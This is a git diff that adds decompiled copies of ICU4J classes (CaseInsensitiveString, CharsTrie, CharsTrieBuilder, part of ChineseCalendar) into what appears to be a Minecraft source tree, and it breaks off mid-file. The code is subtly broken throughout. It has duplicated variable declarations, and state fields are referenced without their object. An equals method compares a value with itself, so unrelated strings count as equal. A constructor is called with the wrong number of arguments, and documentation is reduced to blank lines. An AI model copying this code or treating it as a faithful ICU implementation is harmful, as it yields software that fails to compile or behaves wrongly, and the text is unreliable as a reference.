+    ULocale[] actualLoc = new ULocale[1];
+    if (desiredLocale.equals(ULocale.ROOT)) {
+      desiredLocale = ULocale.ROOT;
+    }
+    
+    ULocale useLocale;
+    
+    ULocale useLocale;
+    if (desiredLocale.getKeywordValue("calendar") == null) {
+      String calType = CalendarUtil.getCalendarType(desiredLocale);
+      useLocale = desiredLocale.setKeywordValue("calendar", calType);
+    } else {
+      useLocale = desiredLocale;
+    }
+    
+    Calendar cal = (Calendar)service.get(useLocale, actualLoc);
+    if (cal == null) {
+      throw new MissingResourceException("Unable to construct Calendar", "", "");
+    }
+    cal = (Calendar)cal.clone();
+    
+
+
+
+
+
+
+
+
+
+    return cal;
+  }
+  
+  Object registerFactory(Calendar.CalendarFactory factory) {
+    return service.registerFactory(new CalFactory(factory));
+  }
+  
+  boolean unregister(Object k) {
+    return service.unregisterFactory((ICUService.Factory)k);
+  }
+  
+  private static class CalService extends ICULocaleService {
+    CalService() {
+      super();
+      
+
+
+
+
+      registerFactory(new ICULocaleService.ICUResourceBundleFactory()
+      {
+        protected Object handleCreate(ULocale loc, int kind, ICUService sercice)
+        {
+          return Calendar.createInstance(loc);
+        }
+        
+      });
+      markDefault();
+    }
+  }
+  
+  private static ICULocaleService service = new CalService();
+}
diff --git a/src/minecraft/com/ibm/icu/util/CaseInsensitiveString.java b/src/minecraft/com/ibm/icu/util/CaseInsensitiveString.java
new file mode 100644
index 0000000..77574e9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CaseInsensitiveString.java
@@ -0,0 +1,105 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.lang.UCharacter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CaseInsensitiveString
+{
+  private String string;
+  private int hash = 0;
+  
+  private String folded = null;
+  
+  private static String foldCase(String foldee)
+  {
+    return UCharacter.foldCase(foldee, true);
+  }
+  
+  private void getFolded()
+  {
+    if (folded == null) {
+      folded = foldCase(string);
+    }
+  }
+  
+
+
+
+
+  public CaseInsensitiveString(String s)
+  {
+    string = s;
+  }
+  
+
+
+
+  public String getString()
+  {
+    return string;
+  }
+  
+
+
+
+  public boolean equals(Object o)
+  {
+    if (o == null) {
+      return false;
+    }
+    if (this == o) {
+      return true;
+    }
+    getFolded();
+    try {
+      CaseInsensitiveString cis = (CaseInsensitiveString)o;
+      
+      cis.getFolded();
+      
+      return folded.equals(folded);
+    } catch (ClassCastException e) {
+      try {
+        String s = (String)o;
+        
+        return folded.equals(foldCase(s));
+      } catch (ClassCastException e2) {} }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    getFolded();
+    
+    if (hash == 0) {
+      hash = folded.hashCode();
+    }
+    
+    return hash;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return string;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CharsTrie.java b/src/minecraft/com/ibm/icu/util/CharsTrie.java
new file mode 100644
index 0000000..6cdf988
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CharsTrie.java
@@ -0,0 +1,948 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.text.UTF16;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharsTrie
+  implements Cloneable, Iterable<Entry>
+{
+  public CharsTrie(CharSequence trieChars, int offset)
+  {
+    chars_ = trieChars;
+    pos_ = (this.root_ = offset);
+    remainingMatchLength_ = -1;
+  }
+  
+
+
+
+
+
+  public Object clone()
+    throws CloneNotSupportedException
+  {
+    return super.clone();
+  }
+  
+
+
+
+
+  public CharsTrie reset()
+  {
+    pos_ = root_;
+    remainingMatchLength_ = -1;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharsTrie saveState(State state)
+  {
+    chars = chars_;
+    root = root_;
+    pos = pos_;
+    remainingMatchLength = remainingMatchLength_;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CharsTrie resetToState(State state)
+  {
+    if ((chars_ == chars) && (chars_ != null) && (root_ == root)) {
+      pos_ = pos;
+      remainingMatchLength_ = remainingMatchLength;
+    } else {
+      throw new IllegalArgumentException("incompatible trie state");
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public BytesTrie.Result current()
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return BytesTrie.Result.NO_MATCH;
+    }
+    int node;
+    return (remainingMatchLength_ < 0) && ((node = chars_.charAt(pos)) >= '@') ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public BytesTrie.Result first(int inUnit)
+  {
+    remainingMatchLength_ = -1;
+    return nextImpl(root_, inUnit);
+  }
+  
+
+
+
+
+
+
+
+  public BytesTrie.Result firstForCodePoint(int cp)
+  {
+    return first(UTF16.getLeadSurrogate(cp)).hasNext() ? next(UTF16.getTrailSurrogate(cp)) : cp <= 65535 ? first(cp) : BytesTrie.Result.NO_MATCH;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BytesTrie.Result next(int inUnit)
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return BytesTrie.Result.NO_MATCH;
+    }
+    int length = remainingMatchLength_;
+    if (length >= 0)
+    {
+      if (inUnit == chars_.charAt(pos++)) {
+        remainingMatchLength_ = (--length);
+        pos_ = pos;
+        int node;
+        return (length < 0) && ((node = chars_.charAt(pos)) >= '@') ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+      }
+      
+      stop();
+      return BytesTrie.Result.NO_MATCH;
+    }
+    
+    return nextImpl(pos, inUnit);
+  }
+  
+
+
+
+
+
+
+  public BytesTrie.Result nextForCodePoint(int cp)
+  {
+    return next(UTF16.getLeadSurrogate(cp)).hasNext() ? next(UTF16.getTrailSurrogate(cp)) : cp <= 65535 ? next(cp) : BytesTrie.Result.NO_MATCH;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BytesTrie.Result next(CharSequence s, int sIndex, int sLimit)
+  {
+    if (sIndex >= sLimit)
+    {
+      return current();
+    }
+    int pos = pos_;
+    if (pos < 0) {
+      return BytesTrie.Result.NO_MATCH;
+    }
+    int length = remainingMatchLength_;
+    
+
+
+    for (;;)
+    {
+      if (sIndex == sLimit) {
+        remainingMatchLength_ = length;
+        pos_ = pos;
+        int node;
+        return (length < 0) && ((node = chars_.charAt(pos)) >= '@') ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+      }
+      
+      char inUnit = s.charAt(sIndex++);
+      if (length < 0) {
+        remainingMatchLength_ = length;
+      }
+      else {
+        if (inUnit != chars_.charAt(pos)) {
+          stop();
+          return BytesTrie.Result.NO_MATCH;
+        }
+        pos++;
+        length--; continue;
+      }
+      int node = chars_.charAt(pos++);
+      for (;;) {
+        if (node < 48) {
+          BytesTrie.Result result = branchNext(pos, node, inUnit);
+          if (result == BytesTrie.Result.NO_MATCH) {
+            return BytesTrie.Result.NO_MATCH;
+          }
+          
+          if (sIndex == sLimit) {
+            return result;
+          }
+          if (result == BytesTrie.Result.FINAL_VALUE)
+          {
+            stop();
+            return BytesTrie.Result.NO_MATCH;
+          }
+          inUnit = s.charAt(sIndex++);
+          pos = pos_;
+          node = chars_.charAt(pos++);
+        } else { if (node < 64)
+          {
+            length = node - 48;
+            if (inUnit != chars_.charAt(pos)) {
+              stop();
+              return BytesTrie.Result.NO_MATCH;
+            }
+            pos++;
+            length--;
+            break; }
+          if ((node & 0x8000) != 0)
+          {
+            stop();
+            return BytesTrie.Result.NO_MATCH;
+          }
+          
+          pos = skipNodeValue(pos, node);
+          node &= 0x3F;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getValue()
+  {
+    int pos = pos_;
+    int leadUnit = chars_.charAt(pos++);
+    assert (leadUnit >= 64);
+    return (leadUnit & 0x8000) != 0 ? readValue(chars_, pos, leadUnit & 0x7FFF) : readNodeValue(chars_, pos, leadUnit);
+  }
+  
+
+
+
+
+
+
+
+
+  public long getUniqueValue()
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return 0L;
+    }
+    
+    long uniqueValue = findUniqueValue(chars_, pos + remainingMatchLength_ + 1, 0L);
+    
+    return uniqueValue << 31 >> 31;
+  }
+  
+
+
+
+
+
+
+
+  public int getNextChars(Appendable out)
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return 0;
+    }
+    if (remainingMatchLength_ >= 0) {
+      append(out, chars_.charAt(pos));
+      return 1;
+    }
+    int node = chars_.charAt(pos++);
+    if (node >= 64) {
+      if ((node & 0x8000) != 0) {
+        return 0;
+      }
+      pos = skipNodeValue(pos, node);
+      node &= 0x3F;
+    }
+    
+    if (node < 48) {
+      if (node == 0) {
+        node = chars_.charAt(pos++);
+      }
+      getNextBranchChars(chars_, pos, ++node, out);
+      return node;
+    }
+    
+    append(out, chars_.charAt(pos));
+    return 1;
+  }
+  
+
+
+
+
+
+  public Iterator iterator()
+  {
+    return new Iterator(chars_, pos_, remainingMatchLength_, 0, null);
+  }
+  
+
+
+
+
+
+
+  public Iterator iterator(int maxStringLength)
+  {
+    return new Iterator(chars_, pos_, remainingMatchLength_, maxStringLength, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static Iterator iterator(CharSequence trieChars, int offset, int maxStringLength)
+  {
+    return new Iterator(trieChars, offset, -1, maxStringLength, null);
+  }
+  
+
+
+  public static final class Iterator
+    implements Iterator<CharsTrie.Entry>
+  {
+    private CharSequence chars_;
+    
+
+    private int pos_;
+    
+
+    private int initialPos_;
+    
+
+    private int remainingMatchLength_;
+    
+
+    private int initialRemainingMatchLength_;
+    
+
+    private boolean skipValue_;
+    
+
+
+    private Iterator(CharSequence trieChars, int offset, int remainingMatchLength, int maxStringLength)
+    {
+      chars_ = trieChars;
+      pos_ = (this.initialPos_ = offset);
+      remainingMatchLength_ = (this.initialRemainingMatchLength_ = remainingMatchLength);
+      maxLength_ = maxStringLength;
+      int length = remainingMatchLength_;
+      if (length >= 0)
+      {
+        length++;
+        if ((maxLength_ > 0) && (length > maxLength_)) {
+          length = maxLength_;
+        }
+        str_.append(chars_, pos_, pos_ + length);
+        pos_ += length;
+        remainingMatchLength_ -= length;
+      }
+    }
+    
+
+
+
+
+    public Iterator reset()
+    {
+      pos_ = initialPos_;
+      remainingMatchLength_ = initialRemainingMatchLength_;
+      skipValue_ = false;
+      int length = remainingMatchLength_ + 1;
+      if ((maxLength_ > 0) && (length > maxLength_)) {
+        length = maxLength_;
+      }
+      str_.setLength(length);
+      pos_ += length;
+      remainingMatchLength_ -= length;
+      stack_.clear();
+      return this;
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      return (pos_ >= 0) || (!stack_.isEmpty());
+    }
+    
+
+
+
+
+
+
+
+
+
+    public CharsTrie.Entry next()
+    {
+      int pos = pos_;
+      if (pos < 0) {
+        if (stack_.isEmpty()) {
+          throw new NoSuchElementException();
+        }
+        
+
+        long top = ((Long)stack_.remove(stack_.size() - 1)).longValue();
+        int length = (int)top;
+        pos = (int)(top >> 32);
+        str_.setLength(length & 0xFFFF);
+        length >>>= 16;
+        if (length > 1) {
+          pos = branchNext(pos, length);
+          if (pos < 0) {
+            return entry_;
+          }
+        } else {
+          str_.append(chars_.charAt(pos++));
+        }
+      }
+      if (remainingMatchLength_ >= 0)
+      {
+
+        return truncateAndStop();
+      }
+      for (;;) {
+        int node = chars_.charAt(pos++);
+        if (node >= 64) {
+          if (skipValue_) {
+            pos = CharsTrie.skipNodeValue(pos, node);
+            node &= 0x3F;
+            skipValue_ = false;
+          }
+          else {
+            boolean isFinal = (node & 0x8000) != 0;
+            if (isFinal) {
+              entry_.value = CharsTrie.readValue(chars_, pos, node & 0x7FFF);
+            } else {
+              entry_.value = CharsTrie.readNodeValue(chars_, pos, node);
+            }
+            if ((isFinal) || ((maxLength_ > 0) && (str_.length() == maxLength_))) {
+              pos_ = -1;
+
+            }
+            else
+            {
+
+              pos_ = (pos - 1);
+              skipValue_ = true;
+            }
+            entry_.chars = str_;
+            return entry_;
+          }
+        }
+        if ((maxLength_ > 0) && (str_.length() == maxLength_)) {
+          return truncateAndStop();
+        }
+        if (node < 48) {
+          if (node == 0) {
+            node = chars_.charAt(pos++);
+          }
+          pos = branchNext(pos, node + 1);
+          if (pos < 0) {
+            return entry_;
+          }
+        }
+        else {
+          int length = node - 48 + 1;
+          if ((maxLength_ > 0) && (str_.length() + length > maxLength_)) {
+            str_.append(chars_, pos, pos + maxLength_ - str_.length());
+            return truncateAndStop();
+          }
+          str_.append(chars_, pos, pos + length);
+          pos += length;
+        }
+      }
+    }
+    
+
+
+
+
+    public void remove()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    private CharsTrie.Entry truncateAndStop() {
+      pos_ = -1;
+      
+
+      entry_.chars = str_;
+      entry_.value = -1;
+      return entry_;
+    }
+    
+    private int branchNext(int pos, int length) {
+      while (length > 5) {
+        pos++;
+        
+        stack_.add(Long.valueOf(CharsTrie.skipDelta(chars_, pos) << 32 | length - (length >> 1) << 16 | str_.length()));
+        
+        length >>= 1;
+        pos = CharsTrie.jumpByDelta(chars_, pos);
+      }
+      
+
+      char trieUnit = chars_.charAt(pos++);
+      int node = chars_.charAt(pos++);
+      boolean isFinal = (node & 0x8000) != 0;
+      int value = CharsTrie.readValue(chars_, pos, node &= 0x7FFF);
+      pos = CharsTrie.skipValue(pos, node);
+      stack_.add(Long.valueOf(pos << 32 | length - 1 << 16 | str_.length()));
+      str_.append(trieUnit);
+      if (isFinal) {
+        pos_ = -1;
+        entry_.chars = str_;
+        entry_.value = value;
+        return -1;
+      }
+      return pos + value;
+    }
+    
+
+
+
+
+
+
+
+
+    private StringBuilder str_ = new StringBuilder();
+    private int maxLength_;
+    private CharsTrie.Entry entry_ = new CharsTrie.Entry(null);
+    
+
+
+
+
+
+
+
+    private ArrayList<Long> stack_ = new ArrayList();
+  }
+  
+  private void stop() {
+    pos_ = -1;
+  }
+  
+  private static int readValue(CharSequence chars, int pos, int leadUnit)
+  {
+    int value;
+    int value;
+    if (leadUnit < 16384) {
+      value = leadUnit; } else { int value;
+      if (leadUnit < 32767) {
+        value = leadUnit - 16384 << 16 | chars.charAt(pos);
+      } else
+        value = chars.charAt(pos) << '\020' | chars.charAt(pos + 1);
+    }
+    return value;
+  }
+  
+  private static int skipValue(int pos, int leadUnit) { if (leadUnit >= 16384) {
+      if (leadUnit < 32767) {
+        pos++;
+      } else {
+        pos += 2;
+      }
+    }
+    return pos;
+  }
+  
+  private static int skipValue(CharSequence chars, int pos) { int leadUnit = chars.charAt(pos++);
+    return skipValue(pos, leadUnit & 0x7FFF);
+  }
+  
+  private static int readNodeValue(CharSequence chars, int pos, int leadUnit) {
+    assert ((64 <= leadUnit) && (leadUnit < 32768));
+    int value;
+    int value; if (leadUnit < 16448) {
+      value = (leadUnit >> 6) - 1; } else { int value;
+      if (leadUnit < 32704) {
+        value = (leadUnit & 0x7FC0) - 16448 << 10 | chars.charAt(pos);
+      } else
+        value = chars.charAt(pos) << '\020' | chars.charAt(pos + 1);
+    }
+    return value;
+  }
+  
+  private static int skipNodeValue(int pos, int leadUnit) { assert ((64 <= leadUnit) && (leadUnit < 32768));
+    if (leadUnit >= 16448) {
+      if (leadUnit < 32704) {
+        pos++;
+      } else {
+        pos += 2;
+      }
+    }
+    return pos;
+  }
+  
+  private static int jumpByDelta(CharSequence chars, int pos) {
+    int delta = chars.charAt(pos++);
+    if (delta >= 64512) {
+      if (delta == 65535) {
+        delta = chars.charAt(pos) << '\020' | chars.charAt(pos + 1);
+        pos += 2;
+      } else {
+        delta = delta - 64512 << 16 | chars.charAt(pos++);
+      }
+    }
+    return pos + delta;
+  }
+  
+  private static int skipDelta(CharSequence chars, int pos) {
+    int delta = chars.charAt(pos++);
+    if (delta >= 64512) {
+      if (delta == 65535) {
+        pos += 2;
+      } else {
+        pos++;
+      }
+    }
+    return pos;
+  }
+  
+  private static BytesTrie.Result[] valueResults_ = { BytesTrie.Result.INTERMEDIATE_VALUE, BytesTrie.Result.FINAL_VALUE };
+  static final int kMaxBranchLinearSubNodeLength = 5;
+  static final int kMinLinearMatch = 48;
+  
+  private BytesTrie.Result branchNext(int pos, int length, int inUnit) {
+    if (length == 0) {
+      length = chars_.charAt(pos++);
+    }
+    length++;
+    
+
+    while (length > 5) {
+      if (inUnit < chars_.charAt(pos++)) {
+        length >>= 1;
+        pos = jumpByDelta(chars_, pos);
+      } else {
+        length -= (length >> 1);
+        pos = skipDelta(chars_, pos);
+      }
+    }
+    
+
+    do
+    {
+      if (inUnit == chars_.charAt(pos++))
+      {
+        int node = chars_.charAt(pos);
+        BytesTrie.Result result; BytesTrie.Result result; if ((node & 0x8000) != 0)
+        {
+          result = BytesTrie.Result.FINAL_VALUE;
+        }
+        else {
+          pos++;
+          int delta;
+          int delta;
+          if (node < 16384) {
+            delta = node; } else { int delta;
+            if (node < 32767) {
+              delta = node - 16384 << 16 | chars_.charAt(pos++);
+            } else {
+              delta = chars_.charAt(pos) << '\020' | chars_.charAt(pos + 1);
+              pos += 2;
+            }
+          }
+          pos += delta;
+          node = chars_.charAt(pos);
+          result = node >= 64 ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+        }
+        pos_ = pos;
+        return result;
+      }
+      length--;
+      pos = skipValue(chars_, pos);
+    } while (length > 1);
+    if (inUnit == chars_.charAt(pos++)) {
+      pos_ = pos;
+      int node = chars_.charAt(pos);
+      return node >= 64 ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+    }
+    stop();
+    return BytesTrie.Result.NO_MATCH; }
+  
+  static final int kMaxLinearMatchLength = 16;
+  static final int kMinValueLead = 64;
+  static final int kNodeTypeMask = 63;
+  
+  private BytesTrie.Result nextImpl(int pos, int inUnit) { int node = chars_.charAt(pos++);
+    for (;;) {
+      if (node < 48)
+        return branchNext(pos, node, inUnit);
+      if (node < 64)
+      {
+        int length = node - 48;
+        if (inUnit != chars_.charAt(pos++)) break;
+        remainingMatchLength_ = (--length);
+        pos_ = pos;
+        return (length < 0) && ((node = chars_.charAt(pos)) >= '@') ? valueResults_[(node >> 15)] : BytesTrie.Result.NO_VALUE;
+      }
+      
+
+
+
+      if ((node & 0x8000) != 0) {
+        break;
+      }
+      
+
+      pos = skipNodeValue(pos, node);
+      node &= 0x3F;
+    }
+    
+    stop();
+    return BytesTrie.Result.NO_MATCH;
+  }
+  
+  static final int kValueIsFinal = 32768;
+  static final int kMaxOneUnitValue = 16383;
+  static final int kMinTwoUnitValueLead = 16384;
+  static final int kThreeUnitValueLead = 32767;
+  static final int kMaxTwoUnitValue = 1073676287;
+  
+  private static long findUniqueValueFromBranch(CharSequence chars, int pos, int length, long uniqueValue) {
+    while (length > 5) {
+      pos++;
+      uniqueValue = findUniqueValueFromBranch(chars, jumpByDelta(chars, pos), length >> 1, uniqueValue);
+      if (uniqueValue == 0L) {
+        return 0L;
+      }
+      length -= (length >> 1);
+      pos = skipDelta(chars, pos);
+    }
+    do {
+      pos++;
+      
+      int node = chars.charAt(pos++);
+      boolean isFinal = (node & 0x8000) != 0;
+      node &= 0x7FFF;
+      int value = readValue(chars, pos, node);
+      pos = skipValue(pos, node);
+      if (isFinal) {
+        if (uniqueValue != 0L) {
+          if (value != (int)(uniqueValue >> 1)) {
+            return 0L;
+          }
+        } else {
+          uniqueValue = value << 1 | 1L;
+        }
+      } else {
+        uniqueValue = findUniqueValue(chars, pos + value, uniqueValue);
+        if (uniqueValue == 0L) {
+          return 0L;
+        }
+      }
+      length--; } while (length > 1);
+    
+    return pos + 1 << 33 | uniqueValue & 0x1FFFFFFFF;
+  }
+  
+  static final int kMaxOneUnitNodeValue = 255;
+  static final int kMinTwoUnitNodeValueLead = 16448;
+  static final int kThreeUnitNodeValueLead = 32704;
+  
+  private static long findUniqueValue(CharSequence chars, int pos, long uniqueValue) { int node = chars.charAt(pos++);
+    for (;;) {
+      if (node < 48) {
+        if (node == 0) {
+          node = chars.charAt(pos++);
+        }
+        uniqueValue = findUniqueValueFromBranch(chars, pos, node + 1, uniqueValue);
+        if (uniqueValue == 0L) {
+          return 0L;
+        }
+        pos = (int)(uniqueValue >>> 33);
+        node = chars.charAt(pos++);
+      } else if (node < 64)
+      {
+        pos += node - 48 + 1;
+        node = chars.charAt(pos++);
+      } else {
+        boolean isFinal = (node & 0x8000) != 0;
+        int value;
+        int value; if (isFinal) {
+          value = readValue(chars, pos, node & 0x7FFF);
+        } else {
+          value = readNodeValue(chars, pos, node);
+        }
+        if (uniqueValue != 0L) {
+          if (value != (int)(uniqueValue >> 1)) {
+            return 0L;
+          }
+        } else {
+          uniqueValue = value << 1 | 1L;
+        }
+        if (isFinal) {
+          return uniqueValue;
+        }
+        pos = skipNodeValue(pos, node);
+        node &= 0x3F;
+      } } }
+  
+  static final int kMaxTwoUnitNodeValue = 16646143;
+  static final int kMaxOneUnitDelta = 64511;
+  static final int kMinTwoUnitDeltaLead = 64512;
+  static final int kThreeUnitDeltaLead = 65535;
+  
+  private static void getNextBranchChars(CharSequence chars, int pos, int length, Appendable out) { while (length > 5) {
+      pos++;
+      getNextBranchChars(chars, jumpByDelta(chars, pos), length >> 1, out);
+      length -= (length >> 1);
+      pos = skipDelta(chars, pos);
+    }
+    do {
+      append(out, chars.charAt(pos++));
+      pos = skipValue(chars, pos);
+      length--; } while (length > 1);
+    append(out, chars.charAt(pos)); }
+  
+  static final int kMaxTwoUnitDelta = 67043327;
+  
+  private static void append(Appendable out, int c) { try { out.append((char)c);
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  private CharSequence chars_;
+  private int root_;
+  private int pos_;
+  private int remainingMatchLength_;
+  public static final class Entry
+  {
+    public CharSequence chars;
+    public int value;
+    
+    private Entry() {}
+  }
+  
+  public static final class State
+  {
+    private CharSequence chars;
+    private int root;
+    private int pos;
+    private int remainingMatchLength;
+    
+    public State() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CharsTrieBuilder.java b/src/minecraft/com/ibm/icu/util/CharsTrieBuilder.java
new file mode 100644
index 0000000..7cad553
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CharsTrieBuilder.java
@@ -0,0 +1,258 @@
+package com.ibm.icu.util;
+
+import java.nio.CharBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharsTrieBuilder
+  extends StringTrieBuilder
+{
+  public CharsTrieBuilder() {}
+  
+  public CharsTrieBuilder add(CharSequence s, int value)
+  {
+    addImpl(s, value);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public CharsTrie build(StringTrieBuilder.Option buildOption)
+  {
+    return new CharsTrie(buildCharSequence(buildOption), 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public CharSequence buildCharSequence(StringTrieBuilder.Option buildOption)
+  {
+    buildChars(buildOption);
+    return CharBuffer.wrap(chars, chars.length - charsLength, charsLength);
+  }
+  
+  private void buildChars(StringTrieBuilder.Option buildOption)
+  {
+    if (chars == null) {
+      chars = new char['Ѐ'];
+    }
+    buildImpl(buildOption);
+  }
+  
+
+
+
+
+
+  public CharsTrieBuilder clear()
+  {
+    clearImpl();
+    chars = null;
+    charsLength = 0;
+    return this;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected boolean matchNodesCanHaveValues()
+  {
+    return true;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected int getMaxBranchLinearSubNodeLength()
+  {
+    return 5;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected int getMinLinearMatch() {
+    return 48;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int getMaxLinearMatchLength() { return 16; }
+  
+  private void ensureCapacity(int length) {
+    if (length > chars.length) {
+      int newCapacity = chars.length;
+      do {
+        newCapacity *= 2;
+      } while (newCapacity <= length);
+      char[] newChars = new char[newCapacity];
+      System.arraycopy(chars, chars.length - charsLength, newChars, newChars.length - charsLength, charsLength);
+      
+      chars = newChars;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int write(int unit)
+  {
+    int newLength = charsLength + 1;
+    ensureCapacity(newLength);
+    charsLength = newLength;
+    chars[(chars.length - charsLength)] = ((char)unit);
+    return charsLength;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int write(int offset, int length)
+  {
+    int newLength = charsLength + length;
+    ensureCapacity(newLength);
+    charsLength = newLength;
+    int charsOffset = chars.length - charsLength;
+    while (length > 0) {
+      chars[(charsOffset++)] = strings.charAt(offset++);
+      length--;
+    }
+    return charsLength;
+  }
+  
+  private int write(char[] s, int length) { int newLength = charsLength + length;
+    ensureCapacity(newLength);
+    charsLength = newLength;
+    System.arraycopy(s, 0, chars, chars.length - charsLength, length);
+    return charsLength;
+  }
+  
+
+  private final char[] intUnits = new char[3];
+  private char[] chars;
+  private int charsLength;
+  
+  /**
+   * @deprecated
+   */
+  protected int writeValueAndFinal(int i, boolean isFinal)
+  {
+    if ((0 <= i) && (i <= 16383))
+      return write(i | (isFinal ? 32768 : 0));
+    int length;
+    int length;
+    if ((i < 0) || (i > 1073676287)) {
+      intUnits[0] = '翿';
+      intUnits[1] = ((char)(i >> 16));
+      intUnits[2] = ((char)i);
+      length = 3;
+
+    }
+    else
+    {
+      intUnits[0] = ((char)(16384 + (i >> 16)));
+      intUnits[1] = ((char)i);
+      length = 2;
+    }
+    intUnits[0] = ((char)(intUnits[0] | (isFinal ? 32768 : '\000')));
+    return write(intUnits, length);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int writeValueAndType(boolean hasValue, int value, int node)
+  {
+    if (!hasValue)
+      return write(node);
+    int length;
+    int length;
+    if ((value < 0) || (value > 16646143)) {
+      intUnits[0] = '翀';
+      intUnits[1] = ((char)(value >> 16));
+      intUnits[2] = ((char)value);
+      length = 3; } else { int length;
+      if (value <= 255) {
+        intUnits[0] = ((char)(value + 1 << 6));
+        length = 1;
+      } else {
+        intUnits[0] = ((char)(16448 + (value >> 10 & 0x7FC0)));
+        intUnits[1] = ((char)value);
+        length = 2;
+      } }
+    int tmp115_114 = 0; char[] tmp115_111 = intUnits;tmp115_111[tmp115_114] = ((char)(tmp115_111[tmp115_114] | (char)node));
+    return write(intUnits, length);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int writeDeltaTo(int jumpTarget)
+  {
+    int i = charsLength - jumpTarget;
+    assert (i >= 0);
+    if (i <= 64511)
+      return write(i);
+    int length;
+    int length;
+    if (i <= 67043327) {
+      intUnits[0] = ((char)(64512 + (i >> 16)));
+      length = 1;
+    } else {
+      intUnits[0] = 65535;
+      intUnits[1] = ((char)(i >> 16));
+      length = 2;
+    }
+    intUnits[(length++)] = ((char)i);
+    return write(intUnits, length);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/ChineseCalendar.java b/src/minecraft/com/ibm/icu/util/ChineseCalendar.java
new file mode 100644
index 0000000..9d6d027
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/ChineseCalendar.java
@@ -0,0 +1,1036 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.CalendarAstronomer;
+import com.ibm.icu.impl.CalendarCache;
+import com.ibm.icu.text.DateFormat;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChineseCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = 7312110751940929420L;
+  private int epochYear;
+  private TimeZone zoneAstro;
+  private transient CalendarAstronomer astro = new CalendarAstronomer();
+  
+
+
+
+
+  private transient CalendarCache winterSolsticeCache = new CalendarCache();
+  
+
+
+
+
+  private transient CalendarCache newYearCache = new CalendarCache();
+  
+
+
+
+
+
+
+  private transient boolean isLeapYear;
+  
+
+
+
+
+
+
+  public ChineseCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT), 62900, CHINA_ZONE);
+  }
+  
+
+
+
+
+
+  public ChineseCalendar(Date date)
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT), 62900, CHINA_ZONE);
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChineseCalendar(int year, int month, int isLeapMonth, int date)
+  {
+    this(year, month, isLeapMonth, date, 0, 0, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChineseCalendar(int year, int month, int isLeapMonth, int date, int hour, int minute, int second)
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT), 62900, CHINA_ZONE);
+    
+
+
+
+
+    set(14, 0);
+    
+
+    set(1, year);
+    set(2, month);
+    set(22, isLeapMonth);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChineseCalendar(int era, int year, int month, int isLeapMonth, int date)
+  {
+    this(era, year, month, isLeapMonth, 0, 0, 0);
+  }
+  
+
+
+
+
+
+
